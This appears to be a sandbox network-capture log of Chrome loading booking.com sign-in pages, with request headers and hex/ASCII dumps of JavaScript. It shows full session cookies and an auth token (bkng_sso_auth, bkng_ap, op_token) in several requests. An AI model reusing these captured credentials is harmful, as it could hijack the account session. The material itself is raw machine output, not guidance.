pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30
2024-11-02 13:00:16 UTC	637	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 39786 Connection: close date: Sat, 02 Nov 2024 13:00:16 GMT cache-control: public, max-age=31536000 etag: 76f4cfe389ea593cf33909bbcedb7949 server: Perl Dancer2 0.300004 expires: Tue, 31 Dec 2030 23:30:45 GMT last-modified: Mon, 30 Sep 2013 09:36:48 GMT x-xss-protection: 1; mode=block strict-transport-security: max-age=63072000; includeSubDomains; preload X-Cache: Miss from cloudfront Via: 1.1 4a58d1025db7d55387fe7325daf4435e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P4 X-Amz-Cf-Id: MN8XWwHKlW4Enpt3szCwYQ_mLlKya8AeaVcVQbG5acZktoDIfJb7jg==
2024-11-02 13:00:16 UTC	7770	IN	Data Raw: 76 61 72 20 24 6a 73 63 6f 6d 70 3d 7b 73 63 6f 70 65 3a 7b 7d 7d 3b 24 6a 73 63 6f 6d 70 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3a 66 75 6e 63 74 69 6f 6e 28 6b 2c 6d 2c 6c 29 7b 69 66 28 6c 2e 67 65 74 7c 7c 6c 2e 73 65 74 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 45 53 33 20 64 6f 65 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 20 67 65 74 74 65 72 73 20 61 6e 64 20 73 65 74 74 65 72 73 2e 22 29 3b 6b 21 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 26 26 6b 21 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 26 26 28 6b 5b 6d 5d 3d Data Ascii: var $jscomp={scope:{}};$jscomp.defineProperty="function"==typeof Object.defineProperties?Object.defineProperty:function(k,m,l){if(l.get\|\|l.set)throw new TypeError("ES3 does not support getters and setters.");k!=Array.prototype&&k!=Object.prototype&&(k[m]=
2024-11-02 13:00:17 UTC	8275	IN	Data Raw: 65 78 63 6c 75 64 65 43 70 75 43 6c 61 73 73 7c 7c 61 2e 70 75 73 68 28 74 68 69 73 2e 67 65 74 4e 61 76 69 67 61 74 6f 72 43 70 75 43 6c 61 73 73 28 29 29 3b 72 65 74 75 72 6e 20 61 7d 2c 70 6c 61 74 66 6f 72 6d 4b 65 79 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 65 78 63 6c 75 64 65 50 6c 61 74 66 6f 72 6d 7c 7c 61 2e 70 75 73 68 28 74 68 69 73 2e 67 65 74 4e 61 76 69 67 61 74 6f 72 50 6c 61 74 66 6f 72 6d 28 29 29 3b 72 65 74 75 72 6e 20 61 7d 2c 64 6f 4e 6f 74 54 72 61 63 6b 4b 65 79 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 65 78 63 6c 75 64 65 44 6f 4e 6f 74 54 72 61 63 6b 7c 7c 61 2e 70 75 73 68 28 74 68 69 73 2e 67 65 74 44 6f 4e 6f 74 54 72 61 63 6b 28 29 29 3b 72 65 74 75 72 Data Ascii: excludeCpuClass\|\|a.push(this.getNavigatorCpuClass());return a},platformKey:function(a){this.options.excludePlatform\|\|a.push(this.getNavigatorPlatform());return a},doNotTrackKey:function(a){this.options.excludeDoNotTrack\|\|a.push(this.getDoNotTrack());retur
2024-11-02 13:00:17 UTC	16384	IN	Data Raw: 70 26 26 6b 2e 70 75 73 68 28 64 5b 68 5d 29 7d 61 2e 70 75 73 68 28 6b 2e 6a 6f 69 6e 28 22 3b 22 29 29 3b 63 28 61 29 7d 2c 31 29 7d 2c 70 6c 75 67 69 6e 73 4b 65 79 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 68 69 73 2e 69 73 49 45 28 29 3f 61 2e 70 75 73 68 28 74 68 69 73 2e 67 65 74 49 45 50 6c 75 67 69 6e 73 53 74 72 69 6e 67 28 29 29 3a 61 2e 70 75 73 68 28 74 68 69 73 2e 67 65 74 52 65 67 75 6c 61 72 50 6c 75 67 69 6e 73 53 74 72 69 6e 67 28 29 29 3b 72 65 74 75 72 6e 20 61 7d 2c 67 65 74 52 65 67 75 6c 61 72 50 6c 75 67 69 6e 73 53 74 72 69 6e 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 6d 61 70 28 6e 61 76 69 67 61 74 6f 72 2e 70 6c 75 67 69 6e 73 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 63 3d 74 68 69 73 Data Ascii: p&&k.push(d[h])}a.push(k.join(";"));c(a)},1)},pluginsKey:function(a){this.isIE()?a.push(this.getIEPluginsString()):a.push(this.getRegularPluginsString());return a},getRegularPluginsString:function(){return this.map(navigator.plugins,function(a){var c=this
2024-11-02 13:00:17 UTC	7357	IN	Data Raw: 28 61 2c 63 29 7b 72 65 74 75 72 6e 5b 61 5b 30 5d 5e 63 5b 30 5d 2c 61 5b 31 5d 5e 63 5b 31 5d 5d 7d 2c 78 36 34 46 6d 69 78 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 74 68 69 73 2e 78 36 34 58 6f 72 28 61 2c 5b 30 2c 61 5b 30 5d 3e 3e 3e 31 5d 29 3b 61 3d 74 68 69 73 2e 78 36 34 4d 75 6c 74 69 70 6c 79 28 61 2c 5b 34 32 38 33 35 34 33 35 31 31 2c 33 39 38 31 38 30 36 37 39 37 5d 29 3b 61 3d 74 68 69 73 2e 78 36 34 58 6f 72 28 61 2c 5b 30 2c 61 5b 30 5d 3e 3e 3e 31 5d 29 3b 61 3d 74 68 69 73 2e 78 36 34 4d 75 6c 74 69 70 6c 79 28 61 2c 5b 33 33 30 31 38 38 32 33 36 36 2c 34 34 34 39 38 34 34 30 33 5d 29 3b 0a 72 65 74 75 72 6e 20 61 3d 74 68 69 73 2e 78 36 34 58 6f 72 28 61 2c 5b 30 2c 61 5b 30 5d 3e 3e 3e 31 5d 29 7d 2c 78 36 34 68 61 73 68 31 32 38 Data Ascii: (a,c){return[a[0]^c[0],a[1]^c[1]]},x64Fmix:function(a){a=this.x64Xor(a,[0,a[0]>>>1]);a=this.x64Multiply(a,[4283543511,3981806797]);a=this.x64Xor(a,[0,a[0]>>>1]);a=this.x64Multiply(a,[3301882366,444984403]);return a=this.x64Xor(a,[0,a[0]>>>1])},x64hash128

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	49763	18.245.31.49	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:16 UTC	551	OUT	GET /libs/acc-clientlib/v5/clientlib.js HTTP/1.1 Host: xx.bstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:16 UTC	836	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 3662 Connection: close Server: nginx Date: Thu, 17 Oct 2024 05:06:11 GMT Last-Modified: Fri, 27 Sep 2024 07:30:22 GMT ETag: "66f65f0e-e4e" Expires: Sat, 16 Nov 2024 05:06:11 GMT Cache-Control: max-age=2592000 access-control-allow-origin: * nel: {"report_to":"default","max_age":600} report-to: {"endpoints":[{"url":"https://nellie.booking.com/report"}],"max_age":600,"group":"default","failure_fraction":0.05} Accept-Ranges: bytes x-xss-protection: 1; mode=block timing-allow-origin: * Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 d8ec42efeb409ac816e90eb0236c1f4a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P8 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: fR36TLe8lpq2oR3OmJ9x7WrtYMEPj3_H9HnbLCFhRA4rjNuXtPgDaQ== Age: 1410845
2024-11-02 13:00:16 UTC	3662	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 76 61 72 20 67 3d 74 68 69 73 7c 7c 73 65 6c 66 3b 66 75 6e 63 74 69 6f 6e 20 7a 28 29 7b 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 3d 74 79 70 65 6f 66 20 44 61 74 65 2e 6e 6f 77 3f 28 6e 65 77 20 44 61 74 65 29 2e 67 65 74 54 69 6d 65 28 29 3a 44 61 74 65 2e 6e 6f 77 28 29 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 45 29 7b 74 68 69 73 2e 4c 3d 45 3b 31 36 3d 3d 74 68 69 73 2e 4c 3f 28 74 68 69 73 2e 76 3d 32 36 38 34 33 35 34 35 36 2c 74 68 69 73 2e 43 3d 34 30 32 36 35 33 31 38 33 39 29 3a 28 74 68 69 73 2e 76 3d 37 38 33 36 34 31 36 34 30 39 36 2c 74 68 69 73 2e 43 3d 32 37 34 32 37 34 35 37 34 33 33 35 39 29 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 45 29 7b 72 65 74 75 72 6e 28 4d 61 74 68 2e 66 6c 6f 6f 72 Data Ascii: (function(){var g=this\|\|self;function z(){return"undefined"===typeof Date.now?(new Date).getTime():Date.now()}function N(E){this.L=E;16==this.L?(this.v=268435456,this.C=4026531839):(this.v=78364164096,this.C=2742745743359)}function l(E){return(Math.floor

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	49760	99.86.4.72	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:16 UTC	2021	OUT	POST /js-metric?op_token=EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiNjA5OWJhNDYtYTgzOC00MjcwLTkzZDItNmRiZTU1OTBhY2RiIn0yK2VjT2JXVUQwcnFzME1CN080WmhOMTJJMVFlVFFKTlBZaU4zVnpCLWtKWWc6BFMyNTZCBGNvZGUqEzDd_v3CzqgnOgBCAFiircu5qTI HTTP/1.1 Host: account.booking.com Connection: keep-alive Content-Length: 36 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: application/json X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://account.booking.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://account.booking.com/sign-in?op_token=EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiNjA5OWJhNDYtYTgzOC00MjcwLTkzZDItNmRiZTU1OTBhY2RiIn0yK2VjT2JXVUQwcnFzME1CN080WmhOMTJJMVFlVFFKTlBZaU4zVnpCLWtKWWc6BFMyNTZCBGNvZGUqEzDd_v3CzqgnOgBCAFiircu5qTI Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; bkng_ap=U2FsdGVkX19rHEBu7NB9TsVkR6OJKwfTMsB4rkFqG86Z1VBMU74WiNVk2tdncYp1wmL%2BPAwmflh9%0Aj%2FLZjnGztA%3D%3D%0A; bkng_ap_sso_session=eyJib29raW5nX2dsb2JhbCI6eyJkYXRhX3N1YmplY3RfaWQiOiJhYTc5MjgxNi1hZWRlLTQ4YjctODk3MC1iNjc1NDRhZjE0MjEiLCJzZXNzaW9ucyI6W119fQ
2024-11-02 13:00:16 UTC	36	OUT	Data Raw: 7b 22 70 61 74 68 22 3a 22 70 61 73 73 6b 65 79 73 2f 6e 6f 74 5f 73 75 70 70 6f 72 74 65 64 27 20 7d 22 7d Data Ascii: {"path":"passkeys/not_supported' }"}
2024-11-02 13:00:17 UTC	2102	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=UTF-8 Transfer-Encoding: chunked Connection: close server: envoy date: Sat, 02 Nov 2024 13:00:16 GMT content-security-policy: frame-ancestors https://.booking.com 'self'; report-uri https://nellie.booking.com/csp-report-uri?type=block&tag=212&pid=22ac5b700b690bbb&e=UmFuZG9tSVYkc2RlIyh9YSWKtKO5TxgOpTwVTPfHZKNW3Hcrm1RLgTDT2V-m21UMlertjpTp0dBkoiU97ub-lntLbh6x__iwZQ692sYmt83B6OfnAXACUQtXZzrlf_EwaQVEEBNXd7s content-security-policy-report-only: base-uri 'none'; connect-src saa.booking.com secure.booking.com reports.booking.com privacyportal-eu.onetrust.com geolocation.onetrust.com cdn.cookielaw.org www.google-analytics.com .perimeterx.net .pxchk.net .px-cdn.net .px-client.net .px-cloud.net 'self' 'report-sample'; default-src .bstatic.com bstatic.com 'self'; frame-src https://www.youtube.com/embed/Vv4w5SmRkss .bstatic.com https://www.google.com bstatic.com www.booking.com secure.booking.com paymentcomponent.booking.com 'self'; img-src 'self' data: www.booking.com graph.facebook.com cdn.cookielaw.org account.booking.com .bstatic.com bstatic.com .static.booking.cn www.google-analytics.com www.google.com stats.g.doubleclick.net .px-cloud.net .perimeterx.net www.gstatic.com; object-src 'none'; report-uri https://nellie.booking.com/csp-report-uri?type=report&tag=213&pid=22ac5b700b690bbb&e=UmFuZG9tSVYkc2RlIyh9YSWKtKO5TxgOpTwVTPfHZKNW3Hcrm1RLgTDT2V-m21UMlertjpTp0dBkoiU97ub-lntLbh6x__iwZQ692sYmt83B6OfnAXACUQtXZ [TRUNCATED] x-xss-protection: 1; mode=block strict-transport-security: max-age=63072000; includeSubDomains; preload X-Cache: Miss from cloudfront Via: 1.1 a56d6b55603697d6c44b19d4f907baaa.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA6-C1 X-Amz-Cf-Id: d5fV9R0HHna1dql_F0_4AT9xBLjARrACjHBbCoq-uSWMPCaQc23RfA==
2024-11-02 13:00:17 UTC	17	IN	Data Raw: 63 0d 0a 7b 22 72 65 73 75 6c 74 22 3a 30 7d 0d 0a Data Ascii: c{"result":0}
2024-11-02 13:00:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	49766	18.238.243.42	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:16 UTC	393	OUT	GET /psb/accountsportal/assets/index_ddf778f4f644e59e0e78.js HTTP/1.1 Host: cf.bstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:17 UTC	726	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 3332501 Connection: close Date: Sat, 02 Nov 2024 12:50:14 GMT Last-Modified: Fri, 01 Nov 2024 17:50:37 GMT ETag: "33508011962732938659291ffbe05b95" x-amz-server-side-encryption: AES256 x-amz-meta-x-deployment-hash: 7d8cfdce18ac09aabe745ecb8a6a83aec70de52d4394c38a23de96c8134d944c x-amz-version-id: zA5RA2TXuJ_HAt5rLkYOTCCMmFE3R8uQ Accept-Ranges: bytes Server: AmazonS3 X-Cache: Hit from cloudfront Via: 1.1 a6f8e4a6d80386054febd47005eabaca.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P1 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: H5wc9vc_XctfNxmPRmQD4-JzKGUbLKiPXMyNI_Xa1cnhoBa-_B5fyg== Age: 603 Timing-Allow-Origin: * Vary: Origin
2024-11-02 13:00:17 UTC	15658	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 62 6f 6f 6b 69 6e 67 73 5f 77 65 62 5f 61 63 63 6f 75 6e 74 73 5f 70 6f 72 74 61 6c 5f 77 6f 72 6b 73 70 61 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 62 6f 6f 6b 69 6e 67 73 5f 77 65 62 5f 61 63 63 6f 75 6e 74 73 5f 70 6f 72 74 61 6c 5f 77 6f 72 6b 73 70 61 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 35 37 5d 2c 7b 34 33 34 35 30 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 69 3b 66 75 6e 63 74 69 6f 6e 20 61 28 6e 29 7b 72 65 74 75 72 6e 20 61 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 22 73 79 6d 62 6f 6c 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 Data Ascii: (self.webpackChunkbookings_web_accounts_portal_workspaces=self.webpackChunkbookings_web_accounts_portal_workspaces\|\|[]).push([[57],{43450:function(n,e,t){"use strict";var i;function a(n){return a="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator
2024-11-02 13:00:17 UTC	16384	IN	Data Raw: 84 d9 87 d8 a7 d8 aa d9 81 22 7d 2c 61 63 63 6f 75 6e 74 5f 72 65 71 75 65 73 74 5f 74 68 72 6f 74 74 6c 65 64 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 22 d8 a3 d8 ac d8 b1 d9 8a d8 aa 20 d9 85 d8 ad d8 a7 d9 88 d9 84 d8 a7 d8 aa 20 d9 83 d8 ab d9 8a d8 b1 d8 a9 2e 20 d9 8a d8 b1 d8 ac d9 89 20 d8 a7 d9 84 d9 85 d8 ad d8 a7 d9 88 d9 84 d8 a9 20 d9 85 d8 b1 d8 a9 20 d8 a3 d8 ae d8 b1 d9 89 20 d9 84 d8 a7 d8 ad d9 82 d8 a7 d9 8b 2e 22 7d 2c 61 63 63 6f 75 6e 74 5f 72 65 73 65 74 5f 70 61 73 73 77 6f 72 64 5f 63 6f 6e 66 69 72 6d 5f 6c 62 6c 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 22 d8 aa d8 a3 d9 83 d9 8a d8 af 20 d9 83 d9 84 d9 85 d8 a9 20 d8 a7 d9 84 d9 85 d8 b1 d9 88 d8 b1 22 7d 2c 61 63 63 6f 75 6e 74 5f 72 65 73 65 74 Data Ascii: "},account_request_throttled:function(n){return" . ."},account_reset_password_confirm_lbl:function(n){return" "},account_reset
2024-11-02 13:00:17 UTC	16384	IN	Data Raw: 50 61 72 74 6e 65 72 20 48 75 62 22 7d 2c 65 78 74 5f 6c 6f 67 69 6e 5f 70 61 67 65 5f 75 6e 63 6f 6e 66 69 72 6d 65 64 5f 61 63 63 6f 75 6e 74 5f 61 6c 65 72 74 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 22 d9 8a d8 b1 d8 ac d9 89 20 d8 aa d8 a3 d9 83 d9 8a d8 af 20 d8 ad d8 b3 d8 a7 d8 a8 d9 83 20 d9 84 d8 aa d8 aa d9 85 d9 83 d9 86 20 d9 85 d9 86 20 d8 aa d8 b3 d8 ac d9 8a d9 84 20 d8 a7 d9 84 d8 af d8 ae d9 88 d9 84 22 7d 2c 65 78 74 72 61 6e 65 74 5f 63 61 6e 74 5f 32 66 61 5f 62 65 63 61 75 73 65 5f 6e 6f 5f 63 61 6c 6c 5f 73 6d 73 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 22 d8 b1 d9 82 d9 85 20 d8 a7 d9 84 d9 87 d8 a7 d8 aa d9 81 20 d8 b5 d8 ad d9 8a d8 ad d8 8c 20 d9 84 d9 83 d9 86 20 d9 84 d9 85 20 d9 8a d8 b5 d9 84 Data Ascii: Partner Hub"},ext_login_page_unconfirmed_account_alert:function(n){return" "},extranet_cant_2fa_because_no_call_sms:function(n){return"
2024-11-02 13:00:17 UTC	16384	IN	Data Raw: d9 84 d8 ae d8 a7 d8 b5 20 d8 a8 d9 83 2e 20 d9 8a d8 b1 d8 ac d9 89 20 d9 83 d8 aa d8 a7 d8 a8 d8 aa d9 87 20 d8 a3 d8 af d9 86 d8 a7 d9 87 20 d9 84 d9 86 d8 aa d8 ad d9 82 d9 82 20 d9 85 d9 86 20 d9 87 d9 88 d9 8a d8 aa d9 83 2e 22 7d 2c 69 64 65 6e 74 69 74 79 5f 6c 69 6e 6b 5f 61 63 63 6f 75 6e 74 73 5f 70 72 6f 76 69 64 65 5f 65 6d 61 69 6c 5f 68 65 61 64 69 6e 67 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 22 d9 86 d8 ad d8 aa d8 a7 d8 ac 20 d8 b9 d9 86 d9 88 d8 a7 d9 86 20 d8 a7 d9 84 d8 a8 d8 b1 d9 8a d8 af 20 d8 a7 d9 84 d8 a5 d9 84 d9 83 d8 aa d8 b1 d9 88 d9 86 d9 8a 20 d8 a7 d9 84 d8 ae d8 a7 d8 b5 20 d8 a8 d9 83 22 7d 2c 69 64 65 6e 74 69 74 79 5f 6c 69 6e 6b 5f 61 63 63 6f 75 6e 74 73 5f 70 72 6f 76 69 64 65 5f 65 6d 61 69 6c 5f Data Ascii: . ."},identity_link_accounts_provide_email_heading:function(n){return" "},identity_link_accounts_provide_email_
2024-11-02 13:00:17 UTC	16384	IN	Data Raw: aa d8 ae d8 af d8 a7 d9 85 20 d8 ad d8 b3 d8 a7 d8 a8 20 d8 a7 d9 84 d8 aa d9 88 d8 a7 d8 b5 d9 84 20 d8 a7 d9 84 d8 a7 d8 ac d8 aa d9 85 d8 a7 d8 b9 d9 8a 20 d8 a7 d9 84 d8 ae d8 a7 d8 b5 20 d8 a8 d9 83 20 d9 84 d9 84 d9 88 d8 b5 d9 88 d9 84 20 d8 a5 d9 84 d9 89 20 d8 ae d8 af d9 85 d8 a7 d8 aa d9 86 d8 a7 2e 22 7d 2c 69 75 78 5f 70 61 73 73 77 6f 72 64 5f 61 72 69 61 5f 6c 61 62 65 6c 5f 73 68 6f 77 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 22 d8 a5 d8 b8 d9 87 d8 a7 d8 b1 20 d9 83 d9 84 d9 85 d8 a9 20 d8 a7 d9 84 d9 85 d8 b1 d9 88 d8 b1 22 7d 2c 69 75 78 5f 70 68 6f 6e 65 5f 6e 75 6d 62 65 72 5f 69 6e 76 61 6c 69 64 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 22 d9 8a d8 a8 d8 af d9 88 20 d8 a3 d9 86 20 d8 b1 d9 82 d9 85 20 Data Ascii: ."},iux_password_aria_label_show:function(n){return" "},iux_phone_number_invalid:function(n){return"
2024-11-02 13:00:17 UTC	16384	IN	Data Raw: 82 d0 b0 d0 ba d1 82 22 7d 2c 61 63 63 6f 75 6e 74 5f 63 72 65 61 74 65 5f 70 65 72 73 6f 6e 61 6c 5f 64 65 74 61 69 6c 73 5f 69 6e 66 6f 72 6d 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 22 d0 92 d0 b0 d1 88 d0 b5 d1 82 d0 be 20 d0 bf d1 8a d0 bb d0 bd d0 be 20 d0 b8 d0 bc d0 b5 20 d0 b8 20 d1 82 d0 b5 d0 bb d0 b5 d1 84 d0 be d0 bd d0 b5 d0 bd 20 d0 bd d0 be d0 bc d0 b5 d1 80 20 d1 81 d0 b0 20 d0 bd d1 83 d0 b6 d0 bd d0 b8 20 d0 b7 d0 b0 20 d0 be d1 81 d0 b8 d0 b3 d1 83 d1 80 d1 8f d0 b2 d0 b0 d0 bd d0 b5 20 d0 bd d0 b0 20 d1 81 d0 b8 d0 b3 d1 83 d1 80 d0 bd d0 be d1 81 d1 82 20 d0 b7 d0 b0 20 d0 b2 d0 b0 d1 88 d0 b8 d1 8f 20 22 2b 74 28 22 62 5f 63 6f 6d 70 61 6e 79 6e 61 6d 65 22 2c 6e 29 2b 22 20 d0 bf d1 80 d0 be d1 84 d0 b8 d0 bb 2e 22 Data Ascii: "},account_create_personal_details_inform:function(n){return" "+t("b_companyname",n)+" ."
2024-11-02 13:00:17 UTC	16384	IN	Data Raw: 2c 61 63 63 6f 75 6e 74 5f 74 66 61 5f 63 75 73 74 6f 6d 65 72 5f 73 65 72 76 69 63 65 5f 6f 70 74 69 6f 6e 32 5f 69 6e 66 6f 72 6d 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 22 d0 98 d0 bc d0 b0 d0 b9 d1 82 d0 b5 20 d0 bf d1 80 d0 b5 d0 b4 d0 b2 d0 b8 d0 b4 2c 20 d1 87 d0 b5 20 d0 bf d0 be d1 80 d0 b0 d0 b4 d0 b8 20 d0 bc d0 b5 d1 80 d0 ba d0 b8 20 d0 b7 d0 b0 20 d1 81 d0 b8 d0 b3 d1 83 d1 80 d0 bd d0 be d1 81 d1 82 20 d0 bc d0 be d0 b6 d0 b5 d0 bc 20 d0 b4 d0 b0 20 d1 83 d0 bf d1 8a d0 bb d0 bd d0 be d0 bc d0 be d1 89 d0 b8 d0 bc 20 d0 bf d0 be d1 82 d0 b2 d1 8a d1 80 d0 b4 d0 b5 d0 bd d0 b8 20 d0 b2 d0 bb d0 b8 d0 b7 d0 b0 d0 bd d0 b8 d1 8f 20 d0 b2 20 d0 bf d1 80 d0 be d1 84 d0 b8 d0 bb 20 d1 81 d0 b0 d0 bc d0 be 20 d1 87 d1 80 d0 b5 d0 Data Ascii: ,account_tfa_customer_service_option2_inform:function(n){return" ,
2024-11-02 13:00:17 UTC	16052	IN	Data Raw: 8f d1 82 20 d0 b8 d0 bc d0 b5 d0 b9 d0 bb 20 d0 bd d0 b5 20 d0 b1 d0 b5 d1 88 d0 b5 20 d0 b2 d1 8a d0 b7 d1 81 d1 82 d0 b0 d0 bd d0 be d0 b2 d0 b5 d0 bd 22 7d 2c 69 61 6d 5f 65 6d 61 69 6c 5f 72 65 73 65 72 76 65 64 5f 62 6f 64 79 31 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 22 d0 a2 d0 be d0 b7 d0 b8 20 d0 b8 d0 bc d0 b5 d0 b9 d0 bb 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 20 d0 b2 20 d0 bc d0 be d0 bc d0 b5 d0 bd d1 82 d0 b0 20 d0 bd d0 b5 20 d0 bc d0 be d0 b6 d0 b5 20 d0 b4 d0 b0 20 d0 b1 d1 8a d0 b4 d0 b5 20 d0 b8 d0 b7 d0 bf d0 be d0 bb d0 b7 d0 b2 d0 b0 d0 bd 20 d0 b7 d0 b0 20 d0 b2 d0 bb d0 b8 d0 b7 d0 b0 d0 bd d0 b5 20 d0 b2 20 d0 bf d1 80 d0 be d1 84 d0 b8 d0 bb d0 b0 2e 20 d0 98 d0 b7 d0 bf d1 80 d0 b0 d1 82 d0 b8 d1 85 d0 bc d0 b5 